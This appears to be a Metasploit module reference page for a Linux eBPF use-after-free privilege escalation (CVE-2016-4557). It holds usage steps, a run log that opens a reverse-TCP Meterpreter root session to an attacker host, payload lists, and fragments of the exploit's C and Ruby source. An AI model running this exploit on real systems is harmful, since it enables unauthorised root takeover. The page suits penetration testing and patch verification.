Linux BPF doubleput UAF Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/bpf_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Linux BPF doubleput UAF Privilege Escalation
Module: exploit/linux/local/bpf_priv_esc
Source code: modules/exploits/linux/local/bpf_priv_esc.rb
Disclosure date: 2016-05-04
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-4557

This module is also known as double-fdput or doubleput.c.

Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does not properly reference count file descriptors, resulting in a use-after-free, which can be abused to escalate privileges. The target system must be compiled with CONFIG_BPF_SYSCALL and must not have kernel.unprivileged_bpf_disabled set to 1. Note, this module will overwrite the first few lines of /etc/crontab with a new cron job. The job will need to be manually removed. This module has been tested successfully on Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel).

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > show targets
    ... a list of targets ...
msf exploit(bpf_priv_esc) > set TARGET target-id
msf exploit(bpf_priv_esc) > show options
    ... show and set options ...
msf exploit(bpf_priv_esc) > set SESSION session-id
msf exploit(bpf_priv_esc) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Notes

Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does not properly reference count file descriptors, resulting in a use-after-free, which can be abused to escalate privileges.

The target system must be compiled with CONFIG_BPF_SYSCALL and must not have kernel.unprivileged_bpf_disabled set to 1.

Note, this module will overwrite the first few lines of /etc/crontab with a new cron job. The job will need to be manually removed.

Vulnerable Application

This module has been tested successfully on:

  • Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)

This module was not tested against, but may work against:

Creating A Testing Environment

There are a few requirements for this module to work:

  1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04)
  2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04)
  3. fuse needs to be installed (non-default on Ubuntu 16.04)

Using Ubuntu 16.04, simply sudo apt-get install fuse and you're all set!

The libfuse-dev package must be installed to test live-compiling on the target:

apt-get install libfuse-dev=2.9.4-1ubuntu3.1

Verification Steps

  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: `use exploit/linux/local/bpf_priv_esc
  4. Do: set session #
  5. Do: set verbose true
  6. Do: exploit

Options

MAXWAIT

The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)

WritableDir

A folder we can write files to. Defaults to /tmp

COMPILE

If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto

Scenarios

Ubuntu 16.04 (with Linux 4.4.0-21-generic)

In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.

  msf5 > use exploit/linux/local/bpf_priv_esc 
  msf5 exploit(linux/local/bpf_priv_esc) > set session 1
  session => 1
  msf5 exploit(linux/local/bpf_priv_esc) > set verbose true
  verbose => true
  msf5 exploit(linux/local/bpf_priv_esc) > set lhost 172.16.191.188
  lhost => 172.16.191.188
  msf5 exploit(linux/local/bpf_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.188:4444 
  [+] Kernel version 4.4.0-21-generic appears to be vulnerable
  [+] fuse package is installed
  [+] /tmp/fuse_mount doesn't exist
  [+] Kernel config has CONFIG_BPF_SYSCALL enabled
  [+] Unprivileged BPF loading is permitted
  [+] libfuse-dev is installed
  [+] gcc is installed
  [+] pkg-config is installed
  [*] Live compiling exploit on system...
  [*] Writing '/tmp/hello.c' (2682 bytes) ...
  [*] Writing '/tmp/doubleput.c' (5168 bytes) ...
  [*] Writing '/tmp/suidhelper.c' (333 bytes) ...
  [*] Uploading payload...
  [*] Writing '/tmp/.FVfiRBKRDX7r' (285 bytes) ...
  [*] Launching exploit. This may take up to 120 seconds.
  [+] Success! set-uid root /tmp/suidhelper
  [*] Transmitting intermediate stager...(126 bytes)
  [*] Sending stage (861348 bytes) to 172.16.191.141
  [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.141:34804) at 2018-12-15 00:20:04 -0500
  [+] Deleted /tmp/hello.c
  [+] Deleted /tmp/hello
  [+] Deleted /tmp/doubleput.c
  [+] Deleted /tmp/doubleput
  [+] Deleted /tmp/suidhelper.c
  [+] Deleted /tmp/.FVfiRBKRDX7r
  [+] Deleted /tmp/fuse_mount

  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 172.16.191.141
  OS           : Ubuntu 16.04 (Linux 4.4.0-21-generic)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter >

Go back to menu.

Msfconsole Usage

Here is how the linux/local/bpf_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/bpf_priv_esc

[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/bpf_priv_esc) > show info

       Name: Linux BPF doubleput UAF Privilege Escalation
     Module: exploit/linux/local/bpf_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2016-05-04

Provided by:
  jannh <[email protected]>
  h00die <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Linux x86
  1   Linux x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
  MAXWAIT  120              yes       Max time to wait for decrementation in seconds
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does 
  not properly reference count file descriptors, resulting in a 
  use-after-free, which can be abused to escalate privileges. The 
  target system must be compiled with `CONFIG_BPF_SYSCALL` and must 
  not have `kernel.unprivileged_bpf_disabled` set to 1. Note, this 
  module will overwrite the first few lines of `/etc/crontab` with a 
  new cron job. The job will need to be manually removed. This module 
  has been tested successfully on Ubuntu 16.04 (x64) kernel 
  4.4.0-21-generic (default kernel).

References:
  http://www.securityfocus.com/bid/90309
  https://nvd.nist.gov/vuln/detail/CVE-2016-4557
  https://www.exploit-db.com/exploits/39772
  https://bugs.chromium.org/p/project-zero/issues/detail?id=808
  https://usn.ubuntu.com/2965-1/
  https://launchpad.net/bugs/1578705
  http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog
  https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html
  https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7

Also known as:
  double-fdput
  doubleput.c

Module Options

This is a complete list of options available in the linux/local/bpf_priv_esc exploit:

msf6 exploit(linux/local/bpf_priv_esc) > show options

Module options (exploit/linux/local/bpf_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   MAXWAIT  120              yes       Max time to wait for decrementation in seconds
   SESSION                   yes       The session to run this module on.

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux x64

Advanced Options

Here is a complete list of advanced options supported by the linux/local/bpf_priv_esc exploit:

msf6 exploit(linux/local/bpf_priv_esc) > show advanced

Module advanced options (exploit/linux/local/bpf_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                60               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/local/bpf_priv_esc module can exploit:

msf6 exploit(linux/local/bpf_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux x86
   1   Linux x64

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/bpf_priv_esc exploit:

msf6 exploit(linux/local/bpf_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/generic/custom                                         normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                 normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                              normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/x64/exec                                         normal  No     Linux Execute Command
   4   payload/linux/x64/meterpreter/bind_tcp                         normal  No     Linux Mettle x64, Bind TCP Stager
   5   payload/linux/x64/meterpreter/reverse_tcp                      normal  No     Linux Mettle x64, Reverse TCP Stager
   6   payload/linux/x64/meterpreter_reverse_http                     normal  No     Linux Meterpreter, Reverse HTTP Inline
   7   payload/linux/x64/meterpreter_reverse_https                    normal  No     Linux Meterpreter, Reverse HTTPS Inline
   8   payload/linux/x64/meterpreter_reverse_tcp                      normal  No     Linux Meterpreter, Reverse TCP Inline
   9   payload/linux/x64/shell/bind_tcp                               normal  No     Linux Command Shell, Bind TCP Stager
   10  payload/linux/x64/shell/reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Stager
   11  payload/linux/x64/shell_bind_ipv6_tcp                          normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   12  payload/linux/x64/shell_bind_tcp                               normal  No     Linux Command Shell, Bind TCP Inline
   13  payload/linux/x64/shell_bind_tcp_random_port                   normal  No     Linux Command Shell, Bind TCP Random Port Inline
   14  payload/linux/x64/shell_reverse_ipv6_tcp                       normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   15  payload/linux/x64/shell_reverse_tcp                            normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options

Here is the full list of possible evasion options supported by the linux/local/bpf_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/bpf_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Prerequisites are not installed. Compiling will fail.

Here is a relevant code snippet related to the "Prerequisites are not installed. Compiling will fail." error message:

107:	    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
108:	
109:	    return true if has_prereqs?
110:	
111:	    unless datastore['COMPILE'].eql? 'Auto'
112:	      fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.'
113:	    end
114:	  end
115:	
116:	  def has_prereqs?
117:	    def check_libfuse_dev?

libfuse-dev is not installed. Compiling will fail.

Here is a relevant code snippet related to the "libfuse-dev is not installed. Compiling will fail." error message:

118:	      lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
119:	      if lib.include?('install')
120:	        vprint_good('libfuse-dev is installed')
121:	        return true
122:	      else
123:	        print_error('libfuse-dev is not installed.  Compiling will fail.')
124:	        return false
125:	      end
126:	    end
127:	
128:	    def check_gcc?

gcc is not installed. Compiling will fail.

Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

128:	    def check_gcc?
129:	      if has_gcc?
130:	        vprint_good('gcc is installed')
131:	        return true
132:	      else
133:	        print_error('gcc is not installed.  Compiling will fail.')
134:	        return false
135:	      end
136:	    end
137:	
138:	    def check_pkgconfig?

pkg-config is not installed. Exploitation will fail.

Here is a relevant code snippet related to the "pkg-config is not installed. Exploitation will fail." error message:

139:	      lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
140:	      if lib.include?('install')
141:	        vprint_good('pkg-config is installed')
142:	        return true
143:	      else
144:	        print_error('pkg-config is not installed.  Exploitation will fail.')
145:	        return false
146:	      end
147:	    end
148:	
149:	    return check_libfuse_dev? && check_gcc? && check_pkgconfig?

<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable.

Here is a relevant code snippet related to the "<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable." error message:

163:	
164:	    output = cmd_exec gcc_cmd
165:	
166:	    unless output.blank?
167:	      print_error output
168:	      fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
169:	    end
170:	
171:	    register_file_for_cleanup path
172:	    chmod path
173:	  end

Kernel version <RELEASE> <VERSION> is not vulnerable

Here is a relevant code snippet related to the "Kernel version <RELEASE> <VERSION> is not vulnerable" error message:

176:	    release = kernel_release
177:	    version = kernel_version
178:	
179:	    if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') ||
180:	       Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5')
181:	      vprint_error "Kernel version #{release} #{version} is not vulnerable"
182:	      return CheckCode::Safe
183:	    end
184:	
185:	    if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
186:	      if $1.to_i > 21

Kernel version <RELEASE> is not vulnerable

Here is a relevant code snippet related to the "Kernel version <RELEASE> is not vulnerable" error message:

182:	      return CheckCode::Safe
183:	    end
184:	
185:	    if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/
186:	      if $1.to_i > 21
187:	        vprint_error "Kernel version #{release} is not vulnerable"
188:	        return CheckCode::Safe
189:	      end
190:	    end
191:	    vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
192:

fuse package is not installed. Exploitation will fail.

Here is a relevant code snippet related to the "fuse package is not installed. Exploitation will fail." error message:

190:	    end
191:	    vprint_good "Kernel version #{release} #{version} appears to be vulnerable"
192:	
193:	    lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s
194:	    unless lib.include?('install')
195:	      print_error('fuse package is not installed.  Exploitation will fail.')
196:	      return CheckCode::Safe
197:	    end
198:	    vprint_good('fuse package is installed')
199:	
200:	    fuse_mount = "#{base_dir}/fuse_mount"

<FUSE_MOUNT> should be unmounted and deleted. Exploitation will fail.

Here is a relevant code snippet related to the "<FUSE_MOUNT> should be unmounted and deleted. Exploitation will fail." error message:

197:	    end
198:	    vprint_good('fuse package is installed')
199:	
200:	    fuse_mount = "#{base_dir}/fuse_mount"
201:	    if directory? fuse_mount
202:	      vprint_error("#{fuse_mount} should be unmounted and deleted.  Exploitation will fail.")
203:	      return CheckCode::Safe
204:	    end
205:	    vprint_good("#{fuse_mount} doesn't exist")
206:	
207:	    config = kernel_config

Could not retrieve kernel config

Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:

205:	    vprint_good("#{fuse_mount} doesn't exist")
206:	
207:	    config = kernel_config
208:	
209:	    if config.nil?
210:	      vprint_error 'Could not retrieve kernel config'
211:	      return CheckCode::Unknown
212:	    end
213:	
214:	    unless config.include? 'CONFIG_BPF_SYSCALL=y'
215:	      vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'

Kernel config does not include CONFIG_BPF_SYSCALL

Here is a relevant code snippet related to the "Kernel config does not include CONFIG_BPF_SYSCALL" error message:

210:	      vprint_error 'Could not retrieve kernel config'
211:	      return CheckCode::Unknown
212:	    end
213:	
214:	    unless config.include? 'CONFIG_BPF_SYSCALL=y'
215:	      vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL'
216:	      return CheckCode::Safe
217:	    end
218:	    vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
219:	
220:	    if unprivileged_bpf_disabled?

Unprivileged BPF loading is not permitted

Here is a relevant code snippet related to the "Unprivileged BPF loading is not permitted" error message:

216:	      return CheckCode::Safe
217:	    end
218:	    vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled'
219:	
220:	    if unprivileged_bpf_disabled?
221:	      vprint_error 'Unprivileged BPF loading is not permitted'
222:	      return CheckCode::Safe
223:	    end
224:	    vprint_good 'Unprivileged BPF loading is permitted'
225:	
226:	    CheckCode::Appears

Session already has root privileges. Set ForceExploit to override.

Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

227:	  end
228:	
229:	  def exploit
230:	    if is_root?
231:	      unless datastore['ForceExploit']
232:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
233:	      end
234:	    end
235:	
236:	    unless writable? base_dir
237:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable

Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

232:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
233:	      end
234:	    end
235:	
236:	    unless writable? base_dir
237:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
238:	    end
239:	
240:	    if nosuid? base_dir
241:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
242:	    end

<BASE_DIR> is mounted nosuid

Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:

236:	    unless writable? base_dir
237:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
238:	    end
239:	
240:	    if nosuid? base_dir
241:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
242:	    end
243:	
244:	    doubleput = %q{
245:	      #define _GNU_SOURCE
246:	      #include <stdbool.h>

unable to open FUSE fd

Here is a relevant code snippet related to the "unable to open FUSE fd" error message:

285:	        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
286:	        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
287:	          errx(1, "system() failed");
288:	        int fuse_fd = open("fuse_mount/hello", O_RDWR);
289:	        if (fuse_fd == -1)
290:	          err(1, "unable to open FUSE fd");
291:	        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292:	          errx(1, "unable to write to FUSE fd");
293:	        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294:	        if (iov_ == MAP_FAILED)
295:	          err(1, "unable to mmap FUSE fd");

unable to write to FUSE fd

Here is a relevant code snippet related to the "unable to write to FUSE fd" error message:

287:	          errx(1, "system() failed");
288:	        int fuse_fd = open("fuse_mount/hello", O_RDWR);
289:	        if (fuse_fd == -1)
290:	          err(1, "unable to open FUSE fd");
291:	        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292:	          errx(1, "unable to write to FUSE fd");
293:	        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294:	        if (iov_ == MAP_FAILED)
295:	          err(1, "unable to mmap FUSE fd");
296:	        fputs("starting writev\n", stderr);
297:	        ssize_t writev_res = writev(uaf_fd, iov_, 1);

unable to mmap FUSE fd

Here is a relevant code snippet related to the "unable to mmap FUSE fd" error message:

290:	          err(1, "unable to open FUSE fd");
291:	        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
292:	          errx(1, "unable to write to FUSE fd");
293:	        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
294:	        if (iov_ == MAP_FAILED)
295:	          err(1, "unable to mmap FUSE fd");
296:	        fputs("starting writev\n", stderr);
297:	        ssize_t writev_res = writev(uaf_fd, iov_, 1);
298:	        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
299:	        if (writev_res == -1)
300:	          err(1, "writev failed");

unable to open UAF fd

Here is a relevant code snippet related to the "unable to open UAF fd" error message:

306:	
307:	      void make_setuid(void) {
308:	        /* step 1: open writable UAF fd */
309:	        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
310:	        if (uaf_fd == -1)
311:	          err(1, "unable to open UAF fd");
312:	        /* refcount is now 1 */
313:	
314:	        char child_stack[20000];
315:	        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
316:	        if (child == -1)

expected BPF_PROG_LOAD to fail with -EINVAL, got different error

Here is a relevant code snippet related to the "expected BPF_PROG_LOAD to fail with -EINVAL, got different error" error message:

336:	            .license = (__aligned_u64)""
337:	          };
338:	          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
339:	            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
340:	          if (errno != EINVAL)
341:	            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
342:	        }
343:	        /* refcount is now 0, the file is freed soon-ish */
344:	
345:	        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
346:	        int status;

This module adds a job to /etc/crontab which requires manual removal!

Here is a relevant code snippet related to the "This module adds a job to /etc/crontab which requires manual removal!" error message:

514:	
515:	    vprint_status 'Uploading payload...'
516:	    upload_and_chmodx(payload_path, generate_payload_exe)
517:	
518:	    print_status('Launching exploit. This may take up to 120 seconds.')
519:	    print_warning('This module adds a job to /etc/crontab which requires manual removal!')
520:	
521:	    register_dir_for_cleanup "#{base_dir}/fuse_mount"
522:	    cmd_exec "cd #{base_dir}; #{doubleput_path} & echo "
523:	    sec_waited = 0
524:	    until sec_waited > datastore['MAXWAIT'] do

Failed to set-uid root <SUIDHELPER_PATH>

Here is a relevant code snippet related to the "Failed to set-uid root <SUIDHELPER_PATH>" error message:

529:	        cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} "
530:	        return
531:	      end
532:	      sec_waited += 5
533:	    end
534:	    print_error "Failed to set-uid root #{@suidhelper_path}"
535:	  end
536:	
537:	  def cleanup
538:	    cmd_exec "killall #{@hello_name}"
539:	    cmd_exec "killall #{@doubleput_name}"

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References

See Also

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Authors

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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